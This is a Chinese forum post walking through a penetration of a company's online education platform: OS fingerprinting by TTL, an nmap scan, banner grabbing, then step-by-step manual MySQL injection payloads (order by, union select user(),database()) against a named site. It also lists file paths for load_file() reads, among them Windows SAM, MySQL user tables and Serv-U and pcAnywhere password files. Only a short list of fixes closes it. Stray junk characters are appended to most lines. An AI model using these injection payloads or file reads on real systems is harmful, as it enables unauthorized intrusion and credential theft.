题记：! N& K# W7 {( q5 h0 n* @
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
% ]* y( e5 H, U# F第一步：获取需要的信息
, Q: T: b J, P4 j由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。" Q- L) R2 Q# q# y: Q! L
注：以下为保护特用XXX代替敏感信息6 ]! ?& o! g$ w7 R$ K: I
顺手先PING了一下他们的域名：6 U) C! U% S% _4 t6 a( V% I. Q
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
( N: R; N$ F1 S+ F( l64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms2 d+ H* u( `7 a6 | v5 G: h
顺便了解一下TTL，学好基础知识才能一路顺风：
, L6 B, ~7 Q$ B$ ?TTL：(Time To Live ) 生存时间
, n7 `0 C! J8 D: w6 m- C( @指定数据包被路由器丢弃之前允许通过的网段数量。4 h1 N2 f( A8 u& m; D/ q; K
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
2 n' \8 O8 Q2 O1 m0 B/ B使用PING时涉及到的 ICMP 报文类型4 ~0 T$ f4 h9 n0 W2 R( V/ i |, ?
一个为ICMP请求回显（ICMP Echo Request）
, E( q. q2 C( v一个为ICMP回显应答（ICMP Echo Reply）
j3 c- S" {/ {1 \8 cTTL 字段值可以帮助我们识别操作系统类型。
7 P6 ]6 n$ D4 i$ i8 X: O7 EUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2556 R! y' R+ i, D6 ^9 @3 p$ a) G+ W
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
4 ]5 |# ]0 p1 n微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
}9 `* }. Z/ U% W& X7 \微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
( p( A- g9 j& w" e" H" O当然，返回的TTL值是相同的
8 v3 f2 ~* d: |# R但有些情况下有所特殊
8 }$ r9 d8 H( wLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 641 q$ w8 D+ _% [6 U& {) a& D
FreeBSD 4.1, 4.0, 3.4;
& ?3 e5 }) a/ o. c7 s. XSun Solaris 2.5.1, 2.6, 2.7, 2.8;+ w* h$ p- B7 V4 {" B; N
OpenBSD 2.6, 2.7,' n! w a/ K$ H6 F+ `9 B+ B
NetBSD: P2 J C0 I) [
HP UX 10.207 ~7 p# H, k4 \
ICMP 回显应答的 TTL 字段值为 255
5 n' D3 b. h/ ?% {6 YWindows 95/98/98SE
O, x! {0 X7 r5 mWindows ME- q6 F% v3 g2 W4 W4 X
ICMP 回显应答的 TTL 字段值为 32
; w) q7 }6 @9 k3 oWindows NT4 WRKS
; t* }3 H' D" J3 [4 zWindows NT4 Server9 `$ D6 u; x: n# V0 n" b6 P
Windows 2000
" a$ ]. {1 Z3 A& M6 |% H7 W1 HWindows XP
, V0 Z( V9 C. g8 x% x" FICMP 回显应答的 TTL 字段值为 128
/ c4 x8 C- G9 ~6 E% i# y0 `" H' n; }这样，我们就可以通过这种方法来辨别操作系统3 k: ~9 l# f4 e6 D! Y
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
. T# W3 F( d- s4 L7 @$ i用NMAP扫描一下：0 i6 c: d6 J, K$ {* Q% S b
nmap -sT -O XXX.XXX.XXX.XXX
" D& E& _" {' n; L1 b如果没有装WinPcap则会弹出提示：; V8 F$ n! r1 h6 d- b" \
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
" t1 R3 A, p, b* N% A9 A* D' p+ Cade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(( W B# `4 I. T, S! g7 l0 l# N
) mode — Nmap may not function completely
1 X( u5 Y/ m: |6 i6 z8 C8 ?TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher! z- O# R4 c; w5 H* h
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win& v1 U1 ~' z& i1 y" B U
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an* Y/ Z% y4 j" W9 }
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v2 `) G( W0 x7 [0 N/ `( ^
ersions, you may be able to take iphlpapi.dll from another system and place it i+ Z3 @3 L- u0 b. S* X9 m) Y
n your system32 dir (e.g. c:\windows\system32).1 I( ^ Y" d2 o0 N! u3 `
QUITTING!
4 Q6 h7 R1 O. X; L到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe( _# z, E7 T! [: l5 U! V8 e
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
( W0 i& ?9 a7 W6 ^( E8 NInteresting ports on XXX.XXX.XXX.XXX:
4 q. B' u' I( zNot shown: 986 closed ports+ L- N* D8 K! h* [4 h) ^* H1 m
PORT STATE SERVICE
. q& f. }: k: B$ m0 e21/tcp open ftp: m9 V& G4 S( f- I
22/tcp open ssh
A+ F: U- f3 x! q6 r" E( w9 X: \23/tcp open telnet( h' X! x, G7 g. X. n& K/ {
80/tcp open http
* L9 H5 J3 r# b) F5 [, G; N111/tcp open rpcbind
* y/ @2 w4 n8 K135/tcp filtered msrpc
. t, I- |1 T7 k( A6 p139/tcp filtered netbios-ssn
9 l" q0 T; U9 y) I8 z9 \445/tcp filtered microsoft-ds3 C, ^6 A/ k0 K) f& t- q* X
513/tcp open login' t! W2 J" Z5 m/ {$ |
514/tcp open shell
5 u" J `1 b1 h9 a% Q593/tcp filtered http-rpc-epmap0 p/ [& j& M7 I8 m
1720/tcp filtered H.323/Q.931, b& W. W8 Y# B
3306/tcp open mysql
& v, f( m o, P4444/tcp filtered krb5242 Z$ _- {% M& V
Device type: WAP$ A( c. X. q, A6 S
Running: Linux 2.4.X- O: h1 N$ n- O! w6 h
OS details: DD-WRT (Linux 2.4.35s)7 S8 B7 A# C: ?" L/ E
Network Distance: 13 hops
" X9 K! T- H R看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：1 B) t/ c8 p6 C7 _5 U
login as:
- G1 r2 \! d' v# [Telnet23端口也是开着的，用telnet 命令链接一下：- Q$ x3 r; Q+ F. I* _
telnet XXX.XXX.XXX.XXX* E& `0 y Q( r3 o3 U
提示： n: L0 N! q. ?4 m$ x3 j
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
5 |1 J4 V7 n. b e0 dKernel 2.6.18-92.el5PAE on an i6865 l% R% J) E9 U0 I
login:
$ C) F9 j. F5 h获取HTTP头信息：
' b$ @5 K) [5 L在本地执行如下PHP代码
. P" S: E$ R& Q/ l% S# b<?php0 X$ S% D" o, t2 f L
$url = ‘XXX.XXX.XXX.XXX’;
5 C9 J% O; q5 S: B/ L# d% u; \print_r(get_headers($url));
& ?' O F# K* [8 I& {3 Bprint_r(get_headers($url, 1));
l3 }" e3 M0 G: m4 z; m+ d?>
4 q- J2 @0 G! E4 A! a8 a5 r将以上代码保存为PHP文件，执行：
. B4 v( z# ?1 k5 o: h0 w: OArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes ) c; L( j# `7 @! e& x
现在可以得出结论：- Z. X" k" {* Y/ g$ u! S! D+ n
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)8 {4 B& S! W8 w& e7 }4 H
内核版本：Kernel 2.6.18-92.el5PAE on an i6868 c3 z [* f- J# U
WEB服务器版本：nginx/0.7.61
6 N/ l; t M1 @第二步，开始测试寻找漏洞9 [0 F: P- n' W: Q! C0 ?! l8 m. F
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
1 R6 B" \+ d) G) c& N' h3 k1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的" _2 J+ Z/ ]0 N; q) S* Y; F5 ~
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试% f$ u3 k1 k4 U2 v
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
5 K5 F, ]# b- X' G, {: whttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误* W3 ]$ O; c5 l3 p( X
恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续' V* b" P1 I! F( W$ g
3、手工注入：9 A, v3 S8 C# } z
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
: n0 @: L- [# }9 Q4 o3.1 猜测当前表字段数1 p# Q3 n/ O) O' m
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
# S' p5 ^# F% T( [8 {- M( C" ? H" e! a此处猜测有个简单的算法，都是有技巧的吗，呵呵
$ ~# [7 I* o6 G* B. _- U* E+ @算法简单如下：
. q1 M8 L1 g& R) W4 h, W& }! [第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；4 o% j& @0 U1 u& l: }) Z
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
8 c* I1 G, R( k需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。- _; b' M5 r7 x0 u4 z! D" k/ w3 S
以此来判断，是否过界，配合取中算法猜出字段数。# N/ |2 `/ i4 Y6 Y+ v2 j
举例：; o7 C6 A' U" G# a# m
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
6 D. h6 p4 L9 U s4 _( Q$ phttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误/ R$ [ Y# Q0 @7 v7 o1 k
此时3则为我们要找的字段数。: B; T+ V- K( @, k- H! {% V
3.2 配合union联合查询字段在页面所位置
$ `2 X4 q2 \9 D1 t3 q我们已经知道了字段数为3，此时则可以做如下操作：5 V& i0 K) c0 V- e3 h
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3, `6 m! n Y4 l; t0 f
! C/ m5 Q+ a5 {4 C# H( y" T
这样就可以测试到哪些字段在页面上有所显示了，如图：4 |- Z% W) n$ [" ^1 C- y K
5 W$ X3 u4 ^' y3 I/ S/ F9 k3.3 查敏感信息. G+ D. L: [$ i8 Q- y
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。5 `! ~5 t& _3 a7 P4 W0 W1 r
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()# @! Q1 v# o9 s# V; U
3.3.1 先查数据库用户、数据库名，以备后用，如图：
4 b: K% U% W- s& q4 v! m M- W4 `. [* S" |# n0 y
得到数据库用户为root、数据库名为DBxx；6 }9 h }4 [6 V
3.3.2 查配置文件' l' z7 W7 V" V- p) M+ w1 d3 q% g
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
1 ]; t2 _' z. B5 \; s查看文件有一定的条件限制：8 ]" Z6 k7 {% J6 P0 @4 c
欲读取文件必须在服务器上% x6 C `% P9 u: t T2 l; l& M
必须指定文件完整的路径
" x9 w/ j9 }7 L7 K1 q' M- b( N必须有权限读取并且文件必须完全可读$ l6 }4 b1 T& ?7 d( f. }9 J
欲读取文件必须小于 max_allowed_packet
% Z- e" U* z9 ^) s2 UMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
- r( q' U9 U4 a8 S8 I- Q常用的一些：
' v1 N0 h8 u5 _/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
& P+ \% R7 W9 a( Y/usr/local/apache2/conf/httpd.conf$ [# k' |" |8 l8 L" k
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
' }$ }5 o! M' E/usr/local/app/php5/lib/php.ini //PHP相关设置
9 G4 b- I9 e; D: q/etc/sysconfig/iptables //从中得到防火墙规则策略
r8 R) B: F1 l3 H6 K! t5 ], V/etc/httpd/conf/httpd.conf // apache配置文件8 R! M; c+ _7 y1 f0 Q B/ B; N. n' m
/etc/rsyncd.conf //同步程序配置文件+ ]( T* S$ \' k3 G2 K6 a9 ^1 v. |
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
8 x) S8 V6 n* a) A1 [% g/ \/etc/my.cnf //mysql的配置文件; V3 K( k* Q, ^3 ~
/etc/redhat-release //系统版本
8 b9 v( l) `; |2 ~0 G+ ?1 h9 P/etc/issue
# Y+ _ t, @ @3 i7 j/ Z1 p/etc/issue.net0 \% L; y6 b. R* c8 w9 |4 o$ a
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
7 \* q5 G; I+ g4 }1 D( Dc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
; R. H$ P" }0 Y. @9 k. `4 h% r$ Uc:\Program Files\Serv-U\ServUDaemon.ini
8 I" y4 ~* j8 l% X& h hc:\windows\my.ini //MYSQL配置文件6 k) S% F$ Y8 w3 V* K' d3 E
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
1 \. X9 t9 y: `, ~等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
0 ^$ K6 Y- r/ h: {9 T3 _ tc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 ?( d; r6 s9 |5 P9 W Q; W
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此, ?1 V) x3 T! X
c:\Program Files\RhinoSoft.com\ServUDaemon.exe# l) _! t# Q; y
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
+ ]- I# c# \& [0 K `7 {//存储了pcAnywhere的登陆密码; y- w: B6 I3 [9 }
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
- v& \ |8 i0 [/ |这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
- |; t# F; R" t* ^ z4 }' U最后：防范措施( ^& z% Q" l' O3 Y, ?$ B4 [
1、修复PHP注入漏洞；
; M% B! x) e2 g* F3 \& h7 K* I" i2、Mysql使用普通权限的用户；
, J% n7 \* g; w/ {6 }# F' Q/ Z3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对